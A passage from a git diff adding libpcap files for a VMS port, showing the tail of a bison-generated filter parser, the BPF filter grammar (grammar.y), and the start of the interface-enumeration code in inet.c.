"../libpcap/grammar.y" +{ yyval.a = gen_arth(BPF_LSH, yyvsp[-2].a, yyvsp[0].a); } + break; +case 115: +#line 338 "../libpcap/grammar.y" +{ yyval.a = gen_arth(BPF_RSH, yyvsp[-2].a, yyvsp[0].a); } + break; +case 116: +#line 339 "../libpcap/grammar.y" +{ yyval.a = gen_neg(yyvsp[0].a); } + break; +case 117: +#line 340 "../libpcap/grammar.y" +{ yyval.a = yyvsp[-1].a; } + break; +case 118: +#line 341 "../libpcap/grammar.y" +{ yyval.a = gen_loadlen(); } + break; +case 119: +#line 343 "../libpcap/grammar.y" +{ yyval.i = '&'; } + break; +case 120: +#line 344 "../libpcap/grammar.y" +{ yyval.i = '|'; } + break; +case 121: +#line 345 "../libpcap/grammar.y" +{ yyval.i = '<'; } + break; +case 122: +#line 346 "../libpcap/grammar.y" +{ yyval.i = '>'; } + break; +case 123: +#line 347 "../libpcap/grammar.y" +{ yyval.i = '='; } + break; +case 125: +#line 350 "../libpcap/grammar.y" +{ yyval.i = yyvsp[-1].i; } + break; +case 126: +#line 352 "../libpcap/grammar.y" +{ yyval.i = A_LANE; } + break; +case 127: +#line 353 "../libpcap/grammar.y" +{ yyval.i = A_LLC; } + break; +case 128: +#line 354 "../libpcap/grammar.y" +{ yyval.i = A_METAC; } + break; +case 129: +#line 355 "../libpcap/grammar.y" +{ yyval.i = A_BCC; } + break; +case 130: +#line 356 "../libpcap/grammar.y" +{ yyval.i = A_OAMF4EC; } + break; +case 131: +#line 357 "../libpcap/grammar.y" +{ yyval.i = A_OAMF4SC; } + break; +case 132: +#line 358 "../libpcap/grammar.y" +{ yyval.i = A_SC; } + break; +case 133: +#line 359 "../libpcap/grammar.y" +{ yyval.i = A_ILMIC; } + break; +case 134: +#line 361 "../libpcap/grammar.y" +{ yyval.i = A_OAM; } + break; +case 135: +#line 362 "../libpcap/grammar.y" +{ yyval.i = A_OAMF4; } + break; +case 136: +#line 363 "../libpcap/grammar.y" +{ yyval.i = A_CONNECTMSG; } + break; +case 137: +#line 364 "../libpcap/grammar.y" +{ yyval.i = A_METACONNECT; } + break; +case 138: +#line 367 "../libpcap/grammar.y" +{ yyval.blk.atmfieldtype = A_VPI; } + break; +case 139: +#line 368 "../libpcap/grammar.y" +{ yyval.blk.atmfieldtype = A_VCI; } + break; +case 141: +#line 371 "../libpcap/grammar.y" +{ yyval.blk.b = gen_atmfield_code(yyvsp[-2].blk.atmfieldtype, (u_int)yyvsp[0].i, (u_int)yyvsp[-1].i, 0); } + break; +case 142: +#line 372 "../libpcap/grammar.y" +{ yyval.blk.b = gen_atmfield_code(yyvsp[-2].blk.atmfieldtype, (u_int)yyvsp[0].i, (u_int)yyvsp[-1].i, 1); } + break; +case 143: +#line 373 "../libpcap/grammar.y" +{ yyval.blk.b = yyvsp[-1].blk.b; yyval.blk.q = qerr; } + break; +case 144: +#line 375 "../libpcap/grammar.y" +{ + yyval.blk.atmfieldtype = yyvsp[-1].blk.atmfieldtype; + if (yyval.blk.atmfieldtype == A_VPI || + yyval.blk.atmfieldtype == A_VCI) + yyval.blk.b = gen_atmfield_code(yyval.blk.atmfieldtype, (u_int) yyvsp[0].i, BPF_JEQ, 0); + } + break; +case 146: +#line 383 "../libpcap/grammar.y" +{ gen_or(yyvsp[-2].blk.b, yyvsp[0].blk.b); yyval.blk = yyvsp[0].blk; } + break; +} + +#line 705 "/usr/share/bison/bison.simple" + + + yyvsp -= yylen; + yyssp -= yylen; +#if YYLSP_NEEDED + yylsp -= yylen; +#endif + +#if YYDEBUG + if (yydebug) + { + short *yyssp1 = yyss - 1; + YYFPRINTF (stderr, "state stack now"); + while (yyssp1 != yyssp) + YYFPRINTF (stderr, " %d", *++yyssp1); + YYFPRINTF (stderr, "\n"); + } +#endif + + *++yyvsp = yyval; +#if YYLSP_NEEDED + *++yylsp = yyloc; +#endif + + /* Now `shift' the result of the reduction. Determine what state + that goes to, based on the state we popped back to and the rule + number reduced by. */ + + yyn = yyr1[yyn]; + + yystate = yypgoto[yyn - YYNTBASE] + *yyssp; + if (yystate >= 0 && yystate <= YYLAST && yycheck[yystate] == *yyssp) + yystate = yytable[yystate]; + else + yystate = yydefgoto[yyn - YYNTBASE]; + + goto yynewstate; + + +/*------------------------------------. +| yyerrlab -- here on detecting error | +`------------------------------------*/ +yyerrlab: + /* If not already recovering from an error, report this error. */ + if (!yyerrstatus) + { + ++yynerrs; + +#ifdef YYERROR_VERBOSE + yyn = yypact[yystate]; + + if (yyn > YYFLAG && yyn < YYLAST) + { + YYSIZE_T yysize = 0; + char *yymsg; + int yyx, yycount; + + yycount = 0; + /* Start YYX at -YYN if negative to avoid negative indexes in + YYCHECK. */ + for (yyx = yyn < 0 ? -yyn : 0; + yyx < (int) (sizeof (yytname) / sizeof (char *)); yyx++) + if (yycheck[yyx + yyn] == yyx) + yysize += yystrlen (yytname[yyx]) + 15, yycount++; + yysize += yystrlen ("parse error, unexpected ") + 1; + yysize += yystrlen (yytname[YYTRANSLATE (yychar)]); + yymsg = (char *) YYSTACK_ALLOC (yysize); + if (yymsg != 0) + { + char *yyp = yystpcpy (yymsg, "parse error, unexpected "); + yyp = yystpcpy (yyp, yytname[YYTRANSLATE (yychar)]); + + if (yycount < 5) + { + yycount = 0; + for (yyx = yyn < 0 ? -yyn : 0; + yyx < (int) (sizeof (yytname) / sizeof (char *)); + yyx++) + if (yycheck[yyx + yyn] == yyx) + { + const char *yyq = ! yycount ? ", expecting " : " or "; + yyp = yystpcpy (yyp, yyq); + yyp = yystpcpy (yyp, yytname[yyx]); + yycount++; + } + } + yyerror (yymsg); + YYSTACK_FREE (yymsg); + } + else + yyerror ("parse error; also virtual memory exhausted"); + } + else +#endif /* defined (YYERROR_VERBOSE) */ + yyerror ("parse error"); + } + goto yyerrlab1; + + +/*--------------------------------------------------. +| yyerrlab1 -- error raised explicitly by an action | +`--------------------------------------------------*/ +yyerrlab1: + if (yyerrstatus == 3) + { + /* If just tried and failed to reuse lookahead token after an + error, discard it. */ + + /* return failure if at end of input */ + if (yychar == YYEOF) + YYABORT; + YYDPRINTF ((stderr, "Discarding token %d (%s).\n", + yychar, yytname[yychar1])); + yychar = YYEMPTY; + } + + /* Else will try to reuse lookahead token after shifting the error + token. */ + + yyerrstatus = 3; /* Each real token shifted decrements this */ + + goto yyerrhandle; + + +/*-------------------------------------------------------------------. +| yyerrdefault -- current state does not do anything special for the | +| error token. | +`-------------------------------------------------------------------*/ +yyerrdefault: +#if 0 + /* This is wrong; only states that explicitly want error tokens + should shift them. */ + + /* If its default is to accept any token, ok. Otherwise pop it. */ + yyn = yydefact[yystate]; + if (yyn) + goto yydefault; +#endif + + +/*---------------------------------------------------------------. +| yyerrpop -- pop the current state because it cannot handle the | +| error token | +`---------------------------------------------------------------*/ +yyerrpop: + if (yyssp == yyss) + YYABORT; + yyvsp--; + yystate = *--yyssp; +#if YYLSP_NEEDED + yylsp--; +#endif + +#if YYDEBUG + if (yydebug) + { + short *yyssp1 = yyss - 1; + YYFPRINTF (stderr, "Error: state stack now"); + while (yyssp1 != yyssp) + YYFPRINTF (stderr, " %d", *++yyssp1); + YYFPRINTF (stderr, "\n"); + } +#endif + +/*--------------. +| yyerrhandle. | +`--------------*/ +yyerrhandle: + yyn = yypact[yystate]; + if (yyn == YYFLAG) + goto yyerrdefault; + + yyn += YYTERROR; + if (yyn < 0 || yyn > YYLAST || yycheck[yyn] != YYTERROR) + goto yyerrdefault; + + yyn = yytable[yyn]; + if (yyn < 0) + { + if (yyn == YYFLAG) + goto yyerrpop; + yyn = -yyn; + goto yyreduce; + } + else if (yyn == 0) + goto yyerrpop; + + if (yyn == YYFINAL) + YYACCEPT; + + YYDPRINTF ((stderr, "Shifting error token, ")); + + *++yyvsp = yylval; +#if YYLSP_NEEDED + *++yylsp = yylloc; +#endif + + yystate = yyn; + goto yynewstate; + + +/*-------------------------------------. +| yyacceptlab -- YYACCEPT comes here. | +`-------------------------------------*/ +yyacceptlab: + yyresult = 0; + goto yyreturn; + +/*-----------------------------------. +| yyabortlab -- YYABORT comes here. | +`-----------------------------------*/ +yyabortlab: + yyresult = 1; + goto yyreturn; + +/*---------------------------------------------. +| yyoverflowab -- parser overflow comes here. | +`---------------------------------------------*/ +yyoverflowlab: + yyerror ("parser stack overflow"); + yyresult = 2; + /* Fall through. */ + +yyreturn: +#ifndef yyoverflow + if (yyss != yyssa) + YYSTACK_FREE (yyss); +#endif + return yyresult; +} +#line 385 "../libpcap/grammar.y" + diff --git a/Pcap-VMS/pcap-vci/grammar.y b/Pcap-VMS/pcap-vci/grammar.y new file mode 100644 index 00000000..2dcbd0a1 --- /dev/null +++ b/Pcap-VMS/pcap-vci/grammar.y @@ -0,0 +1,385 @@ +%{ +/* + * Copyright (c) 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + */ +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/grammar.y,v 1.77 2002/08/11 18:27:14 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#ifdef WIN32 +#include +#else /* WIN32 */ +#include +#include +#include +#endif /* WIN32 */ + +#include + +#ifndef WIN32 +#if __STDC__ +struct mbuf; +struct rtentry; +#endif + +#include +#endif /* WIN32 */ + +#include + +#include "pcap-int.h" + +#include "gencode.h" +#include + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#define QSET(q, p, d, a) (q).proto = (p),\ + (q).dir = (d),\ + (q).addr = (a) + +int n_errors = 0; + +static struct qual qerr = { Q_UNDEF, Q_UNDEF, Q_UNDEF, Q_UNDEF }; + +static void +yyerror(char *msg) +{ + ++n_errors; + bpf_error("%s", msg); + /* NOTREACHED */ +} + +#ifndef YYBISON +int yyparse(void); + +int +pcap_parse() +{ + return (yyparse()); +} +#endif + +%} + +%union { + int i; + bpf_u_int32 h; + u_char *e; + char *s; + struct stmt *stmt; + struct arth *a; + struct { + struct qual q; + int atmfieldtype; + struct block *b; + } blk; + struct block *rblk; +} + +%type expr id nid pid term rterm qid +%type head +%type pqual dqual aqual ndaqual +%type arth narth +%type byteop pname pnum relop irelop +%type and or paren not null prog +%type other +%type atmtype atmmultitype +%type atmfield +%type atmfieldvalue atmvalue atmlistvalue + +%token DST SRC HOST GATEWAY +%token NET MASK PORT LESS GREATER PROTO PROTOCHAIN CBYTE +%token ARP RARP IP SCTP TCP UDP ICMP IGMP IGRP PIM VRRP +%token ATALK AARP DECNET LAT SCA MOPRC MOPDL +%token TK_BROADCAST TK_MULTICAST +%token NUM INBOUND OUTBOUND +%token LINK +%token GEQ LEQ NEQ +%token ID EID HID HID6 AID +%token LSH RSH +%token LEN +%token IPV6 ICMPV6 AH ESP +%token VLAN +%token ISO ESIS ISIS CLNP +%token STP +%token IPX +%token NETBEUI +%token LANE LLC METAC BCC SC ILMIC OAMF4EC OAMF4SC +%token OAM OAMF4 CONNECTMSG METACONNECT +%token VPI VCI + +%type ID +%type EID +%type AID +%type HID HID6 +%type NUM + +%left OR AND +%nonassoc '!' +%left '|' +%left '&' +%left LSH RSH +%left '+' '-' +%left '*' '/' +%nonassoc UMINUS +%% +prog: null expr +{ + finish_parse($2.b); +} + | null + ; +null: /* null */ { $$.q = qerr; } + ; +expr: term + | expr and term { gen_and($1.b, $3.b); $$ = $3; } + | expr and id { gen_and($1.b, $3.b); $$ = $3; } + | expr or term { gen_or($1.b, $3.b); $$ = $3; } + | expr or id { gen_or($1.b, $3.b); $$ = $3; } + ; +and: AND { $$ = $0; } + ; +or: OR { $$ = $0; } + ; +id: nid + | pnum { $$.b = gen_ncode(NULL, (bpf_u_int32)$1, + $$.q = $0.q); } + | paren pid ')' { $$ = $2; } + ; +nid: ID { $$.b = gen_scode($1, $$.q = $0.q); } + | HID '/' NUM { $$.b = gen_mcode($1, NULL, $3, + $$.q = $0.q); } + | HID MASK HID { $$.b = gen_mcode($1, $3, 0, + $$.q = $0.q); } + | HID { + /* Decide how to parse HID based on proto */ + $$.q = $0.q; + $$.b = gen_ncode($1, 0, $$.q); + } + | HID6 '/' NUM { +#ifdef INET6 + $$.b = gen_mcode6($1, NULL, $3, + $$.q = $0.q); +#else + bpf_error("'ip6addr/prefixlen' not supported " + "in this configuration"); +#endif /*INET6*/ + } + | HID6 { +#ifdef INET6 + $$.b = gen_mcode6($1, 0, 128, + $$.q = $0.q); +#else + bpf_error("'ip6addr' not supported " + "in this configuration"); +#endif /*INET6*/ + } + | EID { + $$.b = gen_ecode($1, $$.q = $0.q); + /* + * $1 was allocated by "pcap_ether_aton()", + * so we must free it now that we're done + * with it. + */ + free($1); + } + | AID { + $$.b = gen_acode($1, $$.q = $0.q); + /* + * $1 was allocated by "pcap_ether_aton()", + * so we must free it now that we're done + * with it. + */ + free($1); + } + | not id { gen_not($2.b); $$ = $2; } + ; +not: '!' { $$ = $0; } + ; +paren: '(' { $$ = $0; } + ; +pid: nid + | qid and id { gen_and($1.b, $3.b); $$ = $3; } + | qid or id { gen_or($1.b, $3.b); $$ = $3; } + ; +qid: pnum { $$.b = gen_ncode(NULL, (bpf_u_int32)$1, + $$.q = $0.q); } + | pid + ; +term: rterm + | not term { gen_not($2.b); $$ = $2; } + ; +head: pqual dqual aqual { QSET($$.q, $1, $2, $3); } + | pqual dqual { QSET($$.q, $1, $2, Q_DEFAULT); } + | pqual aqual { QSET($$.q, $1, Q_DEFAULT, $2); } + | pqual PROTO { QSET($$.q, $1, Q_DEFAULT, Q_PROTO); } + | pqual PROTOCHAIN { QSET($$.q, $1, Q_DEFAULT, Q_PROTOCHAIN); } + | pqual ndaqual { QSET($$.q, $1, Q_DEFAULT, $2); } + ; +rterm: head id { $$ = $2; } + | paren expr ')' { $$.b = $2.b; $$.q = $1.q; } + | pname { $$.b = gen_proto_abbrev($1); $$.q = qerr; } + | arth relop arth { $$.b = gen_relation($2, $1, $3, 0); + $$.q = qerr; } + | arth irelop arth { $$.b = gen_relation($2, $1, $3, 1); + $$.q = qerr; } + | other { $$.b = $1; $$.q = qerr; } + | atmtype { $$.b = gen_atmtype_abbrev($1); $$.q = qerr; } + | atmmultitype { $$.b = gen_atmmulti_abbrev($1); $$.q = qerr; } + | atmfield atmvalue { $$.b = $2.b; $$.q = qerr; } + ; +/* protocol level qualifiers */ +pqual: pname + | { $$ = Q_DEFAULT; } + ; +/* 'direction' qualifiers */ +dqual: SRC { $$ = Q_SRC; } + | DST { $$ = Q_DST; } + | SRC OR DST { $$ = Q_OR; } + | DST OR SRC { $$ = Q_OR; } + | SRC AND DST { $$ = Q_AND; } + | DST AND SRC { $$ = Q_AND; } + ; +/* address type qualifiers */ +aqual: HOST { $$ = Q_HOST; } + | NET { $$ = Q_NET; } + | PORT { $$ = Q_PORT; } + ; +/* non-directional address type qualifiers */ +ndaqual: GATEWAY { $$ = Q_GATEWAY; } + ; +pname: LINK { $$ = Q_LINK; } + | IP { $$ = Q_IP; } + | ARP { $$ = Q_ARP; } + | RARP { $$ = Q_RARP; } + | SCTP { $$ = Q_SCTP; } + | TCP { $$ = Q_TCP; } + | UDP { $$ = Q_UDP; } + | ICMP { $$ = Q_ICMP; } + | IGMP { $$ = Q_IGMP; } + | IGRP { $$ = Q_IGRP; } + | PIM { $$ = Q_PIM; } + | VRRP { $$ = Q_VRRP; } + | ATALK { $$ = Q_ATALK; } + | AARP { $$ = Q_AARP; } + | DECNET { $$ = Q_DECNET; } + | LAT { $$ = Q_LAT; } + | SCA { $$ = Q_SCA; } + | MOPDL { $$ = Q_MOPDL; } + | MOPRC { $$ = Q_MOPRC; } + | IPV6 { $$ = Q_IPV6; } + | ICMPV6 { $$ = Q_ICMPV6; } + | AH { $$ = Q_AH; } + | ESP { $$ = Q_ESP; } + | ISO { $$ = Q_ISO; } + | ESIS { $$ = Q_ESIS; } + | ISIS { $$ = Q_ISIS; } + | CLNP { $$ = Q_CLNP; } + | STP { $$ = Q_STP; } + | IPX { $$ = Q_IPX; } + | NETBEUI { $$ = Q_NETBEUI; } + ; +other: pqual TK_BROADCAST { $$ = gen_broadcast($1); } + | pqual TK_MULTICAST { $$ = gen_multicast($1); } + | LESS NUM { $$ = gen_less($2); } + | GREATER NUM { $$ = gen_greater($2); } + | CBYTE NUM byteop NUM { $$ = gen_byteop($3, $2, $4); } + | INBOUND { $$ = gen_inbound(0); } + | OUTBOUND { $$ = gen_inbound(1); } + | VLAN pnum { $$ = gen_vlan($2); } + | VLAN { $$ = gen_vlan(-1); } + ; +relop: '>' { $$ = BPF_JGT; } + | GEQ { $$ = BPF_JGE; } + | '=' { $$ = BPF_JEQ; } + ; +irelop: LEQ { $$ = BPF_JGT; } + | '<' { $$ = BPF_JGE; } + | NEQ { $$ = BPF_JEQ; } + ; +arth: pnum { $$ = gen_loadi($1); } + | narth + ; +narth: pname '[' arth ']' { $$ = gen_load($1, $3, 1); } + | pname '[' arth ':' NUM ']' { $$ = gen_load($1, $3, $5); } + | arth '+' arth { $$ = gen_arth(BPF_ADD, $1, $3); } + | arth '-' arth { $$ = gen_arth(BPF_SUB, $1, $3); } + | arth '*' arth { $$ = gen_arth(BPF_MUL, $1, $3); } + | arth '/' arth { $$ = gen_arth(BPF_DIV, $1, $3); } + | arth '&' arth { $$ = gen_arth(BPF_AND, $1, $3); } + | arth '|' arth { $$ = gen_arth(BPF_OR, $1, $3); } + | arth LSH arth { $$ = gen_arth(BPF_LSH, $1, $3); } + | arth RSH arth { $$ = gen_arth(BPF_RSH, $1, $3); } + | '-' arth %prec UMINUS { $$ = gen_neg($2); } + | paren narth ')' { $$ = $2; } + | LEN { $$ = gen_loadlen(); } + ; +byteop: '&' { $$ = '&'; } + | '|' { $$ = '|'; } + | '<' { $$ = '<'; } + | '>' { $$ = '>'; } + | '=' { $$ = '='; } + ; +pnum: NUM + | paren pnum ')' { $$ = $2; } + ; +atmtype: LANE { $$ = A_LANE; } + | LLC { $$ = A_LLC; } + | METAC { $$ = A_METAC; } + | BCC { $$ = A_BCC; } + | OAMF4EC { $$ = A_OAMF4EC; } + | OAMF4SC { $$ = A_OAMF4SC; } + | SC { $$ = A_SC; } + | ILMIC { $$ = A_ILMIC; } + ; +atmmultitype: OAM { $$ = A_OAM; } + | OAMF4 { $$ = A_OAMF4; } + | CONNECTMSG { $$ = A_CONNECTMSG; } + | METACONNECT { $$ = A_METACONNECT; } + ; + /* ATM field types quantifier */ +atmfield: VPI { $$.atmfieldtype = A_VPI; } + | VCI { $$.atmfieldtype = A_VCI; } + ; +atmvalue: atmfieldvalue + | relop NUM { $$.b = gen_atmfield_code($0.atmfieldtype, (u_int)$2, (u_int)$1, 0); } + | irelop NUM { $$.b = gen_atmfield_code($0.atmfieldtype, (u_int)$2, (u_int)$1, 1); } + | paren atmlistvalue ')' { $$.b = $2.b; $$.q = qerr; } + ; +atmfieldvalue: NUM { + $$.atmfieldtype = $0.atmfieldtype; + if ($$.atmfieldtype == A_VPI || + $$.atmfieldtype == A_VCI) + $$.b = gen_atmfield_code($$.atmfieldtype, (u_int) $1, BPF_JEQ, 0); + } + ; +atmlistvalue: atmfieldvalue + | atmlistvalue or atmfieldvalue { gen_or($1.b, $3.b); $$ = $3; } + ; +%% diff --git a/Pcap-VMS/pcap-vci/inet.c b/Pcap-VMS/pcap-vci/inet.c new file mode 100644 index 00000000..fd6dba3f --- /dev/null +++ b/Pcap-VMS/pcap-vci/inet.c @@ -0,0 +1,679 @@ +/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */ +/* + * Copyright (c) 1994, 1995, 1996, 1997, 1998 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the Computer Systems + * Engineering Group at Lawrence Berkeley Laboratory. + * 4. Neither the name of the University nor of the Laboratory may be used + * to endorse or promote products derived from this software without + * specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/inet.c,v 1.52 2002/08/02 03:44:20 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#ifdef WIN32 +#include +#else /* WIN32 */ +#ifdef VMS +#include "pcap-vms.h" +#endif +#ifndef VMS +#include +#endif +#include +#include +#include +#ifdef HAVE_SYS_SOCKIO_H +#include +#endif +#include /* concession to AIX */ + +struct mbuf; /* Squelch compiler warnings on some platforms for */ +struct rtentry; /* declarations in */ +#include +#include +#endif /* WIN32 */ + +#include +#include +#include +#include +#include +#include +#ifndef WIN32 +#include +#endif /* WIN32 */ +#ifdef HAVE_LIMITS_H +#include +#else +#define INT_MAX 2147483647 +#endif +#ifdef HAVE_IFADDRS_H +#include +#endif + +#include "pcap-int.h" + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +/* Not all systems have IFF_LOOPBACK */ +#ifdef IFF_LOOPBACK +#define ISLOOPBACK(name, flags) ((flags) & IFF_LOOPBACK) +#else +#define ISLOOPBACK(name, flags) ((name)[0] == 'l' && (name)[1] == 'o' && \ + (isdigit((unsigned char)((name)[2])) || (name)[2] == '\0')) +#endif + +struct sockaddr * +dup_sockaddr(struct sockaddr *sa, size_t sa_len) +{ + struct sockaddr *newsa; + + if ((newsa = malloc(sa_len)) == NULL) + return (NULL); + return (memcpy(newsa, sa, sa_len)); +} + +static int +get_instance(char *name) +{ + char *cp, *endcp; + int n; + + if (strcmp(name, "any") == 0) { + /* + * Give the "any" device an artificially high instance + * number, so it shows up after all other non-loopback + * interfaces. + */ + return INT_MAX; + } + + endcp = name + strlen(name); + for (cp = name; cp < endcp && !isdigit((unsigned char)*cp); ++cp) + continue; + + if (isdigit((unsigned char)*cp)) + n = atoi(cp); + else + n = 0; + return (n); +} + +int +add_or_find_if(pcap_if_t **curdev_ret, pcap_if_t **alldevs, char *name, + u_int flags, const char *description, char *errbuf) +{ + pcap_t *p; + pcap_if_t *curdev, *prevdev, *nextdev; + int this_instance; + + /* + * Can we open this interface for live capture? + */ +#ifdef VMS + p = pcap_open_live(name, 68, 1, 0, errbuf); +#else + p = pcap_open_live(name, 68, 0, 0, errbuf); +#endif + if (p == NULL) { + /* + * No. Don't bother including it. + * Don't treat this as an error, though. + */ + *curdev_ret = NULL; + return (0); + } + pcap_close(p); + + /* + * Is there already an entry in the list for this interface? + */ + for (curdev = *alldevs; curdev != NULL; curdev = curdev->next) { + if (strcmp(name, curdev->name) == 0) + break; /* yes, we found it */ + } + if (curdev == NULL) { + /* + * No, we didn't find it. + * Allocate a new entry. + */ + curdev = malloc(sizeof(pcap_if_t)); + if (curdev == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + return (-1); + } + + /* + * Fill in the entry. + */ + curdev->next = NULL; + curdev->name = malloc(strlen(name) + 1); + strcpy(curdev->name, name); + if (description != NULL) { + /* + * We have a description for this interface. + */ + curdev->description = malloc(strlen(description) + 1); + strcpy(curdev->description, description); + } else { + /* + * We don't. + */ + curdev->description = NULL; + } + curdev->addresses = NULL; /* list starts out as empty */ + curdev->flags = 0; + if (ISLOOPBACK(name, flags)) + curdev->flags |= PCAP_IF_LOOPBACK; + + /* + * Add it to the list, in the appropriate location. + * First, get the instance number of this interface. + */ + this_instance = get_instance(name); + + /* + * Now look for the last interface with an instance number + * less than or equal to the new interface's instance + * number - except that non-loopback interfaces are + * arbitrarily treated as having interface numbers less + * than those of loopback interfaces, so the loopback + * interfaces are put at the end of the list. + * + * We start with "prevdev" being NULL, meaning we're before + * the first element in the list. + */ + prevdev = NULL; + for (;;) { + /* + * Get the interface after this one. + */ + if (prevdev == NULL) { + /* + * The next element is the first element. + */ + nextdev = *alldevs; + } else + nextdev = prevdev->next; + + /* + * Are we at the end of the list? + */ + if (nextdev == NULL) { + /* + * Yes - we have to put the new entry + * after "prevdev". + */ + break; + } + + /* + * Is the new interface a non-loopback interface + * and the next interface a loopback interface? + */ + if (!(curdev->flags & PCAP_IF_LOOPBACK) && + (nextdev->flags & PCAP_IF_LOOPBACK)) { + /* + * Yes, we should put the new entry + * before "nextdev", i.e. after "prevdev". + */ + break; + } + + /* + * Is the new interface's instance number less + * than the next interface's instance number, + * and is it the case that the new interface is a + * non-loopback interface or the next interface is + * a loopback interface? + * + * (The goal of both loopback tests is to make + * sure that we never put a loopback interface + * before any non-loopback interface and that we + * always put a non-loopback interface before all + * loopback interfaces.) + */ + if (this_instance < get_instance(nextdev->name) && + (!(curdev->flags & PCAP_IF_LOOPBACK) || + (nextdev->flags & PCAP_IF_LOOPBACK))) { + /* + * Yes - we should put the new entry + * before "nextdev", i.e. after "prevdev". + */ + break; + } + + prevdev = nextdev; + } + + /* + * Insert before "nextdev". + */ + curdev->next = nextdev; + + /* + * Insert after "prevdev" - unless "prevdev" is null, + * in which case this is the first interface. + */ + if (prevdev == NULL) { + /* + * This is the first interface. Pass back a + * pointer to it, and put "curdev" before + * "nextdev". + */ + *alldevs = curdev; + } else + prevdev->next = curdev; + } + + *curdev_ret = curdev; + return (0); +} + +int +add_addr_to_iflist(pcap_if_t **alldevs, char *name, u_int flags, + struct sockaddr *addr, size_t addr_size, + struct sockaddr *netmask, size_t netmask_size, + struct sockaddr *broadaddr, size_t broadaddr_size, + struct sockaddr *dstaddr, size_t dstaddr_size, + char *errbuf) +{ + pcap_if_t *curdev; + pcap_addr_t *curaddr, *prevaddr, *nextaddr; + + if (add_or_find_if(&curdev, alldevs, name, flags, NULL, errbuf) == -1) { + /* + * Error - give up. + */ + return (-1); + } + if (curdev == NULL) { + /* + * Device wasn't added because it can't be opened. + * Not a fatal error. + */ + return (0); + } + + /* + * "curdev" is an entry for this interface; add an entry for this + * address to its list of addresses. + * + * Allocate the new entry and fill it in. + */ + curaddr = malloc(sizeof(pcap_addr_t)); + if (curaddr == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + return (-1); + } + + curaddr->next = NULL; + if (addr != NULL) { + curaddr->addr = dup_sockaddr(addr, addr_size); + if (curaddr->addr == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + free(curaddr); + return (-1); + } + } else + curaddr->addr = NULL; + + if (netmask != NULL) { + curaddr->netmask = dup_sockaddr(netmask, netmask_size); + if (curaddr->netmask == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + free(curaddr); + return (-1); + } + } else + curaddr->netmask = NULL; + + if (broadaddr != NULL) { + curaddr->broadaddr = dup_sockaddr(broadaddr, broadaddr_size); + if (curaddr->broadaddr == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + free(curaddr); + return (-1); + } + } else + curaddr->broadaddr = NULL; + + if (dstaddr != NULL) { + curaddr->dstaddr = dup_sockaddr(dstaddr, dstaddr_size); + if (curaddr->dstaddr == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + free(curaddr); + return (-1); + } + } else + curaddr->dstaddr = NULL; + + /* + * Find the end of the list of addresses. + */ + for (prevaddr = curdev->addresses; prevaddr != NULL; prevaddr = nextaddr) { + nextaddr = prevaddr->next; + if (nextaddr == NULL) { + /* + * This is the end of the list. + */ + break; + } + } + + if (prevaddr == NULL) { + /* + * The list was empty; this is the first member. + */ + curdev->addresses = curaddr; + } else { + /* + * "prevaddr" is the last member of the list; append + * this member to it. + */ + prevaddr->next 